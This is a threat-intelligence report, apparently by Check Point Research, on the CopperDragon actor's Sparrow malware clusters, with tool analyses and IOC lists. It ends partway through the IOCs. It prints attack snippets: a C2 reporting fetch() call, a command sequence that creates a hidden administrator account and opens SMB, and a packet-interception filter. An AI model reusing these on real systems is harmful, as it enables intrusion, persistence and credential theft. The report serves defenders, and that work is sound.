> Not All That Glitters Is Gold: Tracking CopperDragon’s Sparrow Framework Around the Globe

[SOURCE] Check Point Research [AUTHOR: [email protected]] [DATE: 10/11/2026 14:01] [LANGUAGE: EN]
Key Points

During a year-long investigation, Check Point Research identified three distinct operational clusters spanning Latin America, Asia, and Europe targeting telecommunications providers, government organizations, military entities, research institutions, and critical infrastructure.

The clusters, SilentDelivery, OceanGate and DarkWire, are linked through shared infrastructure features and malware code similarities within the Sparrow malware framework.

We track the entity behind the Sparrow framework as CopperDragon, a potential digital quartermaster supporting China-nexus threat actors, including FamousSparrow, Earth Estries, TropicTrooper, UAT-9244, and others.

Each cluster employed a different toolset and different initial access techniques, including compromising internet-facing infrastructure and highly selective watering-hole attacks. The compromised websites that were used for watering hole attacks were of government, shipping, and IT and research sectors.

Our research uncovered several previously undocumented tools and new details about the Sparrow framework, including Windows and Linux variants, passive backdoor capabilities, and a connection to the Melofee backdoor.

Introduction

Over the past year, Check Point Research investigated a series of intrusion campaigns targeting several dozens of high-profile organizations across Latin America, Asia, and Europe. These campaigns initially appeared to be independent operations, each using different backdoors, post-exploitation tools and operational pace.

However, we identified numerous connections between the tools and their infrastructure which linked them to the same Sparrow malware ecosystem. We track the entity behind these campaigns as CopperDragon, which may serve as a digital quartermaster supporting a number of China-nexus threat actors that use the Sparrow cross-platform malware framework for Linux and Windows.

What is CopperDragon?

FamousSparrow is a threat actor that was first identified in 2021, whose main backdoor is SparrowDoor. Since then, multiple vendors have reported on related activity and malware variants, including CrowDoor, HemiGate, and TernDoor.

Over time, it became apparent that this other activity was not necessarily carried out by the original FamousSparrow group. Instead, reporting pointed to several distinct actors using a shared toolset, potentially supplied by the same entity. These actors include FamousSparrow, Earth Estries, TropicTrooper, UAT-9244, and others. FamousSparrow was previously also linked to Salt Typhoon, but the relationship details remain unclear. Based on the apparent tool-sharing, we began tracking the entity behind the Sparrow framework as CopperDragon, its possible developer and supplier.

In this report, we examine three distinct activity clusters targeting major telecommunications providers, government organizations, and military entities. Together, these operations provide a broader view of the connected and evolving espionage ecosystem linked to CopperDragon:

SilentDelivery uses highly selective watering-hole attacks that distribute the SquadC backdoor through Trojanized MSI installers masquerading as certificate repair utilities. This cluster focuses on Europe and Asia regions.

OceanGate focuses primarily on Asian organizations and uses a variant of SparrowDoor. The actor first compromised internet-facing Linux systems before moving laterally into Windows environments, using a broad set of post-exploitation tools for both operating systems.

DarkWire targets telecommunications providers and government organizations across Latin America, using CopperDoor and CopperDNS as its main backdoors.

Figure 1 – Geographic distribution of Sparrow framework victims.

SilentDelivery: Selective Watering-Hole Attacks

Beginning in early 2026, we started tracking new activity related to CopperDragon that introduces a unique initial access methodology, using watering-hole attacks that target high-profile organizations mainly in Europe and Asia. We track this activity as the SilentDelivery operation. While we were finalizing this report, part of this cluster was also reported by Positive Technologies.

Figure 2 – SilentDelivery infection chain.

The attackers first compromised legitimate websites frequently visited by their intended targets. When a victim visited one of these websites, a heavily obfuscated JavaScript payload injected into the page completely replaced the legitimate content with a Google Chrome SSL certificate warning customized to the website’s language. The fake warning blocked access to the website and instructed the user to install a “Certificate Fix” utility. This utility deployed either a previously undocumented backdoor called SquadC or, in some cases, a variant of SparrowDoor.

Figure 3 – A fake Chrome certificate error page with an added “Install certificate” button.

Compromised websites

All the compromised websites we confirmed were related to the government, shipping, and IT and research sectors. In one case, the website was exploited using an XSS attack on an unsensitized input field. Based on Check Point telemetry, the operations primarily targeted organizations in countries such as the Czech Republic, Germany, France, Taiwan, Nepal, Hong Kong and Indonesia.

Figure 4 – A newer version of Chrome’s certificate error appearing in different languages.

Across the analyzed websites, we also identified three S3 buckets that we believe were compromised by the threat actor. These buckets hosted the next-stage backdoor, which was downloaded when the user clicked the “Install certificate” button.

JavaScript Analysis

The JavaScript injected into the compromised websites is heavily obfuscated using jsjiami, a publicly available JavaScript obfuscation service. It first checks whether the user is running Windows and, in some cases, verifies that the website’s domain matches the intended compromised domain.

Figure 5 – Deobfuscated JavaScript checking if the browser is a Windows host.

The script then starts a loop that repeatedly sends status-check requests to the C2 (command and control) server at /image-check?t=&lt;datetime&gt;. These requests are used to fingerprint the user based on IP and geolocation and determine whether to continue the attack and hijack the webpage. They also enable the threat actor to control the attack and stop displaying the fake certificate error after a successful compromise, thus reducing the likelihood of raising the user’s suspicions. If the server returns HTTP 200, the webpage is left unchanged and the user can access the website normally. If the server does not respond, the script hijacks the webpage and displays the fake certificate error.

When the user clicks “Install certificate”, the script sends a POST request to the C2 server at /report-url. This request reports the click and includes the compromised website’s URL in its JSON body. At the same time, the script initiates the download of an MSI package containing the next-stage backdoor from an attacker-controlled S3 bucket.

fetch(serverUrl + "/report-url", {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({
        url: window.location.href
    })
});

After the user executes the backdoor, it sends a request to the C2 server at /register-ip, indicating a successful compromise. The fake certificate error will not appear the next time the user visits the compromised website.

StageUser ActionReporting1Visits compromised siteJavaScript → /image-check?t=&lt;datetime&gt;2Clicks “Install certificate”JavaScript → /report-url3Executes backdoorBackdoor → /register-ip

SquadC backdoor

SquadC is a Windows backdoor written in C/C++ that provides operators with basic remote control over a compromised host. The backdoor is loaded in memory using a separate loader component that decrypts and loads it through a three-stage process. The name SquadC is derived from an internal reference left by the author in the sample:

Figure 6 – Internal reference identifying the backdoor as SquadC.

Depending on its configuration, the backdoor supports several flags, including one that enables checks to avoid execution in sandbox environments. These checks look for VM artifacts in the file system and Windows registry, as well as blacklisted MAC addresses and specific screen resolutions and disk sizes.

As an additional measure to evade sandboxes and automated analysis, the backdoor can be configured to run only if a browser is currently running on the host. As the backdoor is downloaded through a browser during the infection, it’s expected that a browser remains open. The check is done by enumerating running process names and comparing them against a fixed list of browsers:

browser_list = [chrome.exe, msedge.exe, edge.exe, firefox.exe, brave.exe]

To survive host reboots, the backdoor achieves persistence by manipulating the registry Run key under a key WindowsUpdateAssist.

The backdoor supports a small set of commands for command execution and file system management and serves mainly as an initial foothold in the compromised host.

These commands are supported by SquadC:

Command IDDescriptionArguments0x2Directory listing using cmd /C dir "&lt;path&gt;"directory0x3Delete filefilepath0x4Write data to file pathfilename, data0x5Execute arbitrary command with outputcommand0x6Run systeminfo0x7Capture full-screen screenshot0x8Status check0xAExecute arbitrary command in backgroundcommandDefaultReturns unknown command

SquadC in phishing attacks

While hunting for related files, we identified an additional way to distribute SquadC through spear phishing. We found a compressed archive named Strategi_AS_Referensi_April2026.rar, uploaded to VirusTotal from Indonesia which aligns with Indonesian organizations observed in watering-hole activity. The backdoor was configured to communicate with the same IP address used in the watering-hole infection chain, suggesting that both activities were linked to the same threat actor.

The archive contains four files:

Strategi_AS_Referensi_April2026.docx.lnk – An LNK file abusing the ftp.exe LOLBin for command execution.

_rels/info.dll – A batch script executed using ftp.exe:

Figure 7 – info.dll file content.

_rels/.rels.log – A cab file containing the SquadC loader components:

Figure 8 – SquadC loader components in the .rels.log CAB file.

_rels/557.pdf – An empty file.

When the LNK file is executed, it runs a series of CMD commands to extract and execute the SquadC backdoor. It also opens a decoy document, which in this case is an empty file.

SilentDelivery Infrastructure

The SilentDelivery operation was attributed to CopperDragon based on two primary observations:

In some cases, the final payload was a variant of SparrowDoor. Even in cases involving SquadC, the DLL used to load the backdoor was previously used in the FamousSparrow toolset.

The C2 infrastructure of SquadC shares several characteristics with infrastructure associated with FamousSparrow, including server layout, exposed services and ports, HTTP response banners, and reused TLS certificates.

Subject: C=US ST=US L=Oregon O=VeriSign Class 3 Code Signing 2010 CA OU=VeriSign Class 3 Code Signing 2010 CA CN=VeriSign Trust Network Issuer: C=US ST=US L=Santa Clara O=McAfee, Inc. OU=McAfee, Inc. CN=McAfee, Inc. 
Serial Number: 0x4872589ca964eac0776b1e9617e9813cb1da49dc 
Not Before: 2023-04-28 11:13:39 
Not After: 2024-04-27 11:13:39 
Fingerprint SHA-1: 760be920fad07881b8ce9d94e074a35b4f806717

TLS certificate reused across SilentDelivery and OceanGate C2 infrastructure.

OceanGate: From Linux Initial Access to Domain Administrator

The OceanGate operation was observed during 2025-2026 primarily targeting government organizations and critical infrastructure in Asia. Some activity was also seen in other regions. The operation followed a more common intrusion pattern, with tooling and operational TTPs (Tactics, Techniques, and Procedures) consistent with those previously reported by multiple vendors and tracked as FamousSparrow.

In this attack, the threat actor operated across both Linux and Windows environments, deploying several previously unreported tools to maintain access and move across the compromised network. The operation involved extensive credential theft, lateral movement, data staging, and exfiltration of sensitive operational information. The Linux activity was particularly interesting, given the limited reporting on how the actor operates in these environments and the tools it uses.

Linux operation

The intrusion began with the exploitation of a vulnerable internet-facing Linux server, followed by the deployment of two new backdoors: AnnobinDoor and SparrowShell.

Figure 9 – OceanGate cluster: Linux attack chain diagram.

AnnobinDoor

The first backdoor deployed after initial access was AnnobinDoor, a statically linked, Go-based backdoor packed with UPX and internally named annobinagent. By default, it uses WebSocket but also supports HTTP and raw TCP. Its requests include browser-like headers and standard WebSocket upgrade fields, which helps the traffic resemble legitimate application communications.

The backdoor provides a broad range of remote access and pivoting capabilities, including an interactive shell, file management, SOCKS proxying, SSH tunneling, port forwarding, and reverse connections.

Together, these features allow the infected Linux host to function as both a remote shell and an internal network pivot.

SparrowShell

Later in the attack, the actor also deployed another backdoor we named SparrowShell. SparrowShell is a modular Linux backdoor that shares significant design and code similarities with the Windows backdoor SparrowDoor. The two belong to the same cross-platform malware family, with versions developed for Linux and Windows. They share the same C2 infrastructure and RC4 decryption keys, as well as similar command-line arguments and comparable plugin-based architectures.

These commands are supported by SparrowShell:

Command IDDirectionDescription0x1001Client → C2Sends host fingerprint (OS, IPs, user, hostname, timestamp, host ID). Waits for magic value 0x11223344 to confirm the connection and mark the C2 as active.0x1002Client ︎ C2Requests a plugin module from the C2. Receives encrypted blob, decrypts it, saves to /tmp/%x, loads via dlopen, executes xmain, then deletes it from disk.0x1003Client → C2Sends additional host identifier/hash. Connection is validated based on the C2 response (0x11223344) or dropped if invalid.0x1004C2 → ClientReturns current runtime configuration (228-byte structure) to the C2.0x1005C2 → ClientReceives new configuration (228 bytes), encrypts it, and stores it as &lt;executable&gt;_ for persistence across runs.0x1006C2 → ClientRemoves persistence (cron/systemd), deletes binary and config, clears temp files, removes iptables rules, and terminates execution.0x1007C2 → ClientOpens a local TCP listener on a specified port and bridges incoming connections to the C2 (port forwarding).0x100AC2 → ClientSends a serialized list of currently loaded plugin families and their metadata.0x100BC2 → ClientNo detected action; likely reserved for future use.0x100CC2 → ClientRemoves a loaded plugin based on its family ID.0x100DC2 → ClientEstablishes outbound connection to target/port and bridges it to the C2, enabling reverse tunneling.0x100EC2 → ClientDisconnects from the C2 and sleeps for a specified number of minutes before reconnecting.

Trojanized SSH tools

A few days later, the threat actor replaced the legitimate SSH client and SSHD components on the server with Trojanized versions designed to log credentials during administrative activity. This allowed the actor to harvest credentials from multiple users and move to other Linux hosts on the network, where the same technique was used again.

Public tools

Besides custom tools and scripts, the threat actor also used popular publicly available tools, including FRPC and Chisel, which provided additional channels for remote access and internal pivoting. The actor also used ASimplePortScanner, an open-source Python scanner, to discover additional hosts in the network.

Windows Operation

Figure 10 – OceanGate: Lateral movement to Windows environment and tool deployment.

After harvesting credentials from multiple users and establishing a strong foothold in the Linux environment, the actor moved into the Windows environment.

The actor attempted to log in to several Windows machines over RDP, trying different passwords until it successfully authenticated with an administrator account. It then deployed a set of custom post exploitation tools before deploying the final windows backdoor a variant of SparrowDoor.

CopperAdu

CopperAdu is a post-exploitation tool that configures a compromised Windows host for remote administrative access, preparing it for further attacker activity.

It creates a local account with hardcoded credentials, disables password expiration, and adds the account to the local Administrators group. It also modifies the registry to hide the account from the standard Windows logon interface.

The tool sets LocalAccountTokenFilterPolicy to 1, allowing remote connections using local administrator accounts to retain full administrative privileges and facilitating lateral movement.

Finally, CopperAdu enables the LanmanServer and LanmanWorkstation services and configures an inbound Windows Firewall rule to allow SMB traffic on TCP port 445.

net user admin$ "Admin@123456" /add /expires:never /passwordchg:no
wmic useraccount where "Name='admin$'" set PasswordExpires=false
net localgroup administrators admin$ /add
sc config LanmanServer start= auto
sc start LanmanServer
sc config LanmanWorkstation start= auto
sc start LanmanWorkstation
netsh advfirewall firewall delete rule name = "RasiUwpApp"
netsh advfirewall firewall add rule name="RasiUwpApp" dir=in action=allow protocol=TCP localport=445 profile=any

CopperList

The actor then deployed CopperList, a Windows reconnaissance tool that collects host information, disk details, and a recursive file inventory, including file paths, sizes, and timestamps. It scans fixed drives while excluding common system and application directories, focusing on user data and potentially sensitive files. The collected information is compressed using LZNT1 and staged for exfiltration by other attacker-deployed components.

Figure 11 – CopperList output on a test machine.

CopperLogger

On some hosts, the actor deployed CopperLogger, a Raw Input-based keylogger. It registers a hidden window (kbl) and subscribes to keyboard input events, allowing it to capture keystrokes regardless of which application is in focus.

Beyond keystroke logging, the malware also collects contextual information, including:

Active window titles

Associated process names and paths

User session context

In addition, the malware monitors clipboard activity involving copying and pasting, and stores it alongside the keystroke data.

CopperLsa

For credential theft on Windows systems, the actor deployed CopperLsa, a tool that collects credentials directly through the Windows authentication flow. Its loader decrypts two embedded DLLs: one installs a custom LSA security package inside LSASS, while the other collects passwords, hashes, and authentication tokens from several authentication mechanisms, including NTLM and Kerberos. The stolen credentials are saved to a log file at a location chosen by the operator.

Kernel-level capabilities

In some cases, we observed the actor adding kernel rootkits and kernel-level access capabilities to its main backdoors: SparrowDoor for Windows and SparrowShell for Linux.

SparrowShell kernel rootkit

SparrowShell supports integration with an embedded kernel rootkit. When executed with the hide flag, the backdoor locates an appended encrypted blob, decrypts it, and loads it into memory as a kernel module using the init_module system call.

The kernel component is a modified version of the open-source Reptile rootkit and supports capabilities such as hiding files, processes, and network activity. Communication between user space and the rootkit uses a custom ioctl interface with the ID 0x0e0e0e0e.

Figure 12 – Reptile rootkit that SparrowShell is based on.

Passive Sparrow backdoor

Some observed versions of the Windows backdoor SparrowDoor include kernel-level packet interception capabilities, with WinDivert drivers embedded as resources for x86 and x64. WinDivert is a legitimate driver for network packet capture and manipulation, and is commonly used by utilities such as VPNs, firewalls, and tunneling applications.

Figure 13 – Passive Sparrow communication scheme.

The actor abused the driver to convert SparrowDoor into a passive backdoor that intercepts and manipulates packets at the kernel level, making its traffic less visible. This allows the backdoor to listen internally on one port while receiving connections through an externally accessible port, such as 443, that is already used by a legitimate service.

The backdoor applies a strict filter to intercept connections from a specific source IP address to the legitimate service’s port. It manipulates the packet and rewrites the destination port to the backdoor’s internal listening port, typically a high port such as 49628. For response traffic, it rewrites the source port back to the external service port, making the responses appear to originate from the legitimate service.

(
    (inbound and tcp.DstPort == %d       // Legitimate external listening port
        and ip.SrcAddr == %s) or         // Connections from a specific source IP
    (outbound and tcp.SrcPort == %d)     // Backdoor's internal listening port
)

Incoming connections are checked for the magic value 0x11223344. Matching requests are queued for backdoor command processing, while nonmatching traffic is forwarded to the legitimate service at 127.0.0.1:&lt;external_port&gt;, allowing normal connections to continue functioning.

Melofee

While analyzing SparrowShell, we identified several similarities with the Melofee backdoor, which was first discovered in 2023. Both use similarly modified versions of the open-source Reptile rootkit and share code similarities in how they decrypt, load, and activate the rootkit. They also support the same hide and show command-line arguments for rootkit control. These similarities led some vendors to classify SparrowShell as Melofee.

The connection between Melofee and CopperDragon’s SparrowShell became stronger when we analyzed Melofee samples that also shared infrastructure characteristics, particularly in their self-signed certificates. Both used certificate subject values such as Some-State and O=Internet Widgits Pty Ltd and impersonated public DNS servers in the common name (CN) field. Both also used certificates created years earlier that remained in use long after their expiration.

Figure 14 – TernDoor certificate from Talos blog 2026.

Figure 15 – Melofee certificate on Virus Total from 2026.

Based on these findings, including code similarities and infrastructure overlaps, we assess that CopperDragon is also involved in maintaining and supplying Melofee variants.

DarkWire: Compromising Telecommunications Providers

Figure 16 – DarkWire toolset.

In mid-2025, we identified a new wave of activity, tracked as DarkWire. While initially concentrated in Latin America, more recent intrusions suggest expansion beyond the region. Victimology indicates a clear focus on telecommunications operators and government entities, including at least three major telecom providers in the region, as well as the foreign affairs and justice sectors.

Throughout our investigation, we uncovered multiple custom tools, suggesting the actor maintains a broader proprietary toolkit. The actor deployed two newly identified backdoors, which we named CopperDoor and CopperDNS. These appear to function as the group’s primary implants and may have replaced the SparrowDoor family.

Beyond these backdoors, the actor was observed deploying several additional custom tools, including proxy utilities such as CopperProxy and PyProxy, as well as CopperLsass, a dedicated module used to dump the LSASS process for credential harvesting. Most of the post exploitation tools including the new backdoors were loaded by a unique loader we named CopperLoader.

Alongside these tools, the operators also employed publicly available software, such as SoftEther VPN renamed to names like vmtoolsd.exe and csrss.exe. For lateral movement, they transferred files over SMB and executed remote commands via WMI, using wmiexec.

CopperLoader

CopperLoader is a reflective loader typically deployed through DLL sideloading. It consists of position-independent shellcode written into a modified version of the original DLL being hijacked. In some cases, CopperLoader was not the initial sideloaded component, but arrived as a second-stage shellcode payload delivered by another shellcode loader.

CopperLoader loads an encrypted next-stage PE module from a .dat file in its directory. These files contain the next-stage module in encrypted form. While the exact layout varies across samples, a consistent set of embedded headers provides the information needed to process each payload: module length, RC4 decryption key, and in some cases, the backdoor configuration.

The MZ and PE signatures were removed in the decrypted module, hindering memory scanning and automated extraction.

We observed CopperLoader delivering four unique tools: CopperDoor, CopperDNS, CopperProxy, and CopperLsass.

CopperDoor &amp; CopperDNS

The main backdoor used in the DarkWire operation was CopperDoor, a newly identified advanced modular backdoor that resides entirely in memory. CopperDoor uses some novel techniques such as call stack spoofing and gadget-based execution for EDR evasions. The malware, also known as SparroWocky, was recently analyzed in depth by ESET as part of its research into FamousSparrow activity.

Alongside CopperDoor, we also observed a variant of the backdoor that communicates through DNS tunneling using MX queries, which we named CopperDNS.

Figure 17 – DNS Tunneling send flow in CopperDNS.

CopperProxy &amp; PyProxy

CopperProxy is a SOCKS5 proxy tool. It accepts an IP address and TCP port as command-line arguments, configures a Windows Firewall rule named ss1 for the specified port, and listens for incoming connections, supporting up to 300 concurrent clients. For each connection, it handles SOCKS5 negotiation, connects to the requested destination, and relays traffic in both directions.

PyProxy is a lightweight UDP relay written in Python and packaged as a standalone executable using PyInstaller. It listens on a fixed local UDP port and relays traffic in both directions between local clients and a hardcoded remote IP address and port.

Figure 18 – Decompiled PyProxy python code.

CopperLsass

CopperLsass is a DLL module that loads a component named slave.dll into LSASS by registering it as a security package through RPC. Once inside LSASS, slave.dll uses the Windows library comsvcs.dll and a helper DLL, dep.dll to create a full LSASS memory dump, encrypt it using a custom SUB-XOR-ADD algorithm, and delete the original dump. In observed intrusions, the encrypted file was renamed to 1.png before exfiltration to resemble an image file.

Execution and Staging

The operation heavily relies on DLL sideloading as a primary execution technique, often abusing executables that are not widely observed among other threat actors in the wild.

The executables we observed in use include:

DLL NameOriginal EXE Namencpmif32.dllncptrcw.exewinfsp.dllfsptool.exelibvlccore.dllvlc.exeDukeQt.dllgethwid.exezCrashReport64.dllzCrashReport64.exe

To minimize their footprint, the operators deliberately avoided creating new directories on disk, instead placing their tools within existing system paths.

The file paths we observed in use:

PathC:\Program Files\7-Zip\LangC:\Windows\debugC:\Windows\System32C:\ProgramData\vmware\logsC:\ProgramData\Oracle\JavaC:\ProgramData\USOSharedC:\ProgramData\Waves

DarkWire Infrastructure

CopperDoor infrastructure demonstrated a higher level of operational security. The associated IP addresses were distributed across a variety of autonomous systems. These servers typically exposed port 443, with communications conducted over raw TCP encapsulated in TLS instead of standard HTTPS. In several cases, the TLS certificates deployed on these C2 servers contained Common Name (CN) values that closely mimic domains associated with the targeted victim organizations.

ASNAS-VULTR, US (AS20473)KAOPU-HK Kaopu Cloud HK Limited, HK (AS138915)LATITUDE-SH (AS396356)XNNET, US (AS6134)CDNEXT, GB (AS212238)ONEPROVIDER-AS BrainStorm Network, Inc, CA (AS136258)

In contrast, infrastructure linked to CopperDNS, which functions as a DNS tunneling C2 channel, consisted primarily of Windows-based hosts. These systems were consistently hosted within AS20473, AS-VULTR, exposed high-numbered ports (most commonly 6532), and reused a distinctive TLS certificate (SHA-256: ee4a8b81fe3864582efc27a77f806990e2602dcc36447ddda4b3a230a473d575) across multiple nodes.

Subject: CN=8.8.8.8
Issuer: CN=8.8.8.8
Serial Number: 0x20a61422b0352cfc9ef688dc800bcdf810f1fe7d
Not Before: 2025-07-16T03:10:29
Not After: 2026-07-16T03:10:29
Fingerprint SHA-1: de32c58a8087cc4f24b9eb65c8ff4516f0f65f13

An additional pattern we observed across both infrastructures is geographic alignment with target regions. Most IP addresses were located in Latin America, often within the same country as the victim organization. This proximity likely helps the malicious traffic blend in with legitimate network activity and reduces the chances of detection.

DarkWire Attribution

We did not identify direct code similarities in DarkWire cluster with other tools in the CopperDragon toolset aside from general design patterns. However, we found an infrastructure link to a previous report on FamousSparrow activity. The domain amelicen[.]com was reported as a SparrowDoor C2 server, and our telemetry showed that the same domain was also part of the CopperDNS infrastructure.

We also observed VirusTotal submitters uploading files related to both SparrowDoor and DarkWire around the same time, suggesting that these tools may have been used in the same attack. In a recent report, ESET also observed that SparrowDoor was replaced on compromised hosts by CopperDoor (AKA SparroWocky), further strengthening the connection we identified.

Summary

CopperDragon is an entity we track as a possible digital quartermaster supporting several China-nexus threat actors that use the cross-platform Sparrow framework.

We identified at least three activity clusters, each using its own main backdoor and targeting different regions and organizations:

SilentDelivery – Uses the newly discovered SquadC along with a variant of SparrowDoor in watering-hole attacks across Europe and Asia.

OceanGate – Operates primarily in Asia, uses a variant of SparrowDoor and SparrowShell, and shows possible links to Melofee.

DarkWire – Targets telecommunications operators and government organizations in Latin America and uses the new CopperDoor and CopperDNS backdoors.

These findings provide a foundation for understanding CopperDragon’s potential users and more precise tracking of activity previously grouped under the FamousSparrow umbrella. In the highly interconnected China-nexus threat ecosystem, shared malware and infrastructure can blur the boundaries between operators and campaigns. However, the use of the same backdoor or C2 infrastructure does not necessarily mean that two intrusions were conducted by the same actor.

Technical Appendix

Full list of tools:

ToolPlatformPurposeCopperLoaderWindowsDLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy, and CopperLsass.CopperSplitWindowsLoader variant using split API strings, service persistence, and a payload encrypted using the computer name. Final payload was not recovered.CopperDoorWindowsModular backdoor supporting reconnaissance, command execution, in-memory modules, plugins, and reverse port forwarding.SparrowDoorWindowsBackdoor supporting persistence, process hollowing, and additional payload execution.CopperDNSWindowsCopperDoor variant that tunnels C2 communications through DNS MX queries.CopperProxyWindowsSOCKS5 proxy supporting network relaying and internal pivoting.PyProxyWindowsUDP Proxy utility deployed during DarkWire operations.CopperLsassWindowsLoads components into LSASS to dump its memory, then encrypts the dump for collection.CopperLsaWindowsMalicious LSA Security Support Provider that intercepts credentials during authentication.CopperLoggerWindowsIn-memory keylogger capturing keystrokes, clipboard data, and window and process context.CopperAduWindowsCreates a hidden administrator account, enables SMB services, and configures remote administrative access.CopperListWindowsCollects system information and file metadata, then stages a compressed inventory.SquadCWindowsBackdoor delivered through fake certificate-repair installers; supports command execution, file operations, reconnaissance, and screenshots.SparrowShellLinuxModular backdoor supporting remote commands, file operations, persistence, and network pivoting. (A Linux version of SparrowDoor backdoor)AnnobinDoorLinuxGo backdoor supporting remote shells, file transfers, SOCKS proxying, SSH tunneling, and port forwarding.Trojanized SSHLinuxModified OpenSSH client that captures passwords, authentication responses, and private-key passphrases.Trojanized SSHDLinuxModified OpenSSH server that captures incoming authentication credentials.Modified Reptile rootkitLinuxSparrowShell kernel component that hides processes, files, and network activity.FRP / frpcLinuxReverse proxying and tunneling.ChiselLinuxTCP tunneling over HTTP.SoftEther VPNWindowsVPN connectivity for operator access and pivoting.WinDivertWindowsDriver used by SparrowDoor for kernel-level network traffic interception and manipulation.:

IOCs

SilentDelivery Campaign Files

MalwareNameHashSquadC InstallerCertFixer.msi715c206629f59ff5b0134a33362162ce7a40a9b25aa17f0543dc9648d51a67cfSquadC InstallerCertFixer.msib379d07ba81d4190490d9893b2d6d830ff594e042dce26053ef07794d0403787SquadC InstallerCertFixer.msie5f7bbfc187264336dea5dfebfb5a7dd1e7fcdcc9692db55fbe6eb4d28f027bcSquadC InstallerCertFixer.msie9f2f42ea3611096879f4152a7d78bb3a78a4dbead1c3b7e366dce485207551fSquadC InstallerCertFixer.msif44159bec1d4d3f340652cd3c6e250dcf2bdb266e5400d3e267f0466d290dda0SquadC InstallerCertFixer.msif51dc5e1848daee4e607d46faa25033e1151060cd3482ad4439754440d6c4c01SquadC LoaderMSVCR110.dll8bbc395a7a0faff074c6e31c7da37bf1540a4e7ec3d80870f8d6bd1f5d4cecbbSquadC Loaderdtfbase.dll054c0ffb08eb7830de1ff2356af4d2ed696f01111a8c2e78e3a4ddc940287e48SquadC LoaderWTSAPI32.dllb60404c1299e69df029d9817dcf69f9fe325ecc990e16bc7758f56ce5714184bSquadC LoaderMSVCR110.dllf23e5391656b178bc0ab510b0fca6ffbd963cf94870c82a5920f0f338f561f18

SilentDelivery Campaign Infrastructure

microsfot[.]vipmicroscoft[.]vipaistei[.]comastorialaza[.]com135.136.135[.]54103.141.235[.]123109.205.195[.]131158.255.213[.]189165.154.227[.]1645.197.12[.]1191.210.164[.]5

OceanGate Campaign Files

MalwareNameHashCopperListfilst2.exe1cd0c608418cca80149ef3077e54969f24cd7ef3f22707cb280fa4b378ffa76bCopperAduadu.exe40880b6fce6f83df4e902cd29d7abb303ffa3f37c429c382f2aaeea34f7be074CopperLsag.exe9fa421adb5c5dac3b2fc1165b0dddd596e82cfd3b08347a91d63f9e88d8718d0Copperlogger loaderSTI.DLL3637f4f804cffc3b25222d542e7cb544ee48074ed2e46607e31f9410c17bf223CopperloggerIn memory1b365975f9ad8a4748b2bbfb36de3be171aeadeb59d497192a8b4d9560b37173SparrowDoor loaderhha.dlld1da8e2389f48d1d1c0e127f3417e3d3e0dbf54691e22d6d0c863d28b9e7a812SparrowDoor variantIn memorydbdaa8a52246b1e3f9285820db2f976b8ab513926ed972c968fae1c8aeb77056AnnobinDoorcontainerd-demo46407cc35c48d19c6b1990a03ebdd19321005ce08d5a98acd168fda55a92d946FRPfrpc3e4eef1a641d6060f6144ceba6757df6085d475eedb8b9e61b5feb84e9fb989eTrojanized sshsshcc3544ac194a4ab5f3a60dbedd270192bc01afd2a365b3b136b35d40d8dd3ff0Trojanized sshsshea25b021f90dbd1c53cd3490274c5c92856d4f815d85f3ec68600facab2c952fTrojanized sshdsshdfa28bc5dfc2c37c3104961f5ca80f590259a27743a8aa327c606fb51452b840fSparrowShellxfs_rudp2ea96ea398e9254706ff2761b86302372c149ef090536ad76231e51d7c810a2aSparrowShellaplk50daadd49b8df4f0190d0badfde89f8e6a6e61af664ef1444984028a005f40d8SparrowShell Plugin2000cbce7dc8649b37c5db411dfee3a74e8cace2b48fdc8350bfa5b4846c5d9ed2aeSparrowShell Plugin30009d01724193d9570a6c75bbcbb171d29df290207007d004cf75d133dd9aa475f4SparrowShell Plugin4000129349a221e6efcc9a047efdfd81197f796fcf38877344f17f85651b21e33427

OceanGate Campaign Infrastructure

windowsdefender.it[.]comwindowsupdates[.]usmicroupdate[.]mewindefender[.]net103.215.216[.]117103.215.216[.]116103.215.216[.]125103.215.216[.]197103.215.216[.]27103.215.216[.]75103.215.216[.]186103.215.216[.]162103.215.216[.]123149.104.90[.]200151.242.188[.]220180.149.44[.]43180.149.44[.]115194.213.18[.]1782.56.222[.]282.56.222[.]49216.185.57[.]152217.69.13[.]7738.54.71[.]10738.54.71[.]5638.54.71[.]16045.80.208[.]19545.80.208[.]23245.80.208[.]6645.86.230[.]6045.90.58[.]20247.81.8[.]14589.223.91[.]9189.44.193[.]140160.16.83[.]208153.127.55[.]77134.255.211[.]224207.189.10[.]18891.227.77[.]172165.154.226[.]247165.154.243[.]24165.154.227[.]1638.60.209[.]227216.238.118[.]179216.238.123[.]24264.190.113[.]170154.223.21[.]194154.205.154[.]82154.205.154[.]7037.122.150[.]133109.205.195[.]13138.60.195[.]18438.60.209[.]227103.9.77[.]116134.255.211[.]22487.236.37[.]18592.118.127[.]23130.94.91[.]5345.39.103[.]591.210.164[.]5151.242.188[.]220

DarkWire Campaign Files

MalwareNameHashCopperLoaderncpmif32.dll4cafda69af3179ceb4a1f5ed864c501279796254709c86ca236be1cf74a8643fCopperLoaderncpmif32.dll48dcc07d9f87129e937f5ca2ad5ba56975600efb8a7280a170b2aeeff503f595CopperLoaderlibjpeg-62.dlla47279e4ee703092263e7030c43c61533146c00689e7cb8f2080f18e57d5cf7fCopperLoaderlibvlccore.dlld4e4a3f55b875673cfdb6d0687cc3f8890585210806b03082d11fb4fa40b57deCopperLoaderlibvlc.dll3317789219e9b3e48fbb8f7af23359a37539597fc4d84649086aec71a21553eeCopperLoaderwinfsp.dllc049e5e03a04cf54f8aa089c65861342d3fb4aa8d6a2b1c9484637c46ddc3882CopperLoaderwinfsp.dllf01a73f651f8113bf9672dbe4c50c63ed365a41e4187aaf0a5ab34cd21154046CopperLoaderwinfsp-x64.dll9332f9cd283d69e9a2a2bb71575054cc71c14b6496ac55f7ff43efdcb6d97a01CopperLoaderlibeay32.dll12b6d5ca7aca7134032721b6feb8e4d5ad75c886fbf8a5889d3d36971a083681CopperLoaderlibeay32.dll125525a38abc45e855f848d499582a8100f1428938d4bd3d3eba957072e64e7aCopperLoaderzCrashReport64.dll4b1fea3265492ad1d272428447fb5919bbe3184131b12a0ae84caf3bc442718eShellcode loader (CopperLoader shellcode version)DukeQt.dll4e50f53b5294a6dbd601fc20a607ae85725162b596119f4867311ef0b3f75a6aCopperSplityzCrashReport64.dllf42461c386834d61780da13760a130ed2ea620627b5eebf97b56237058ea380dCopperSplitytempdir.dllb7060cf7955a1f1caac2bc3d0918c9b1d9daa315c5d82b329acd3bbddb413948CopperSplity 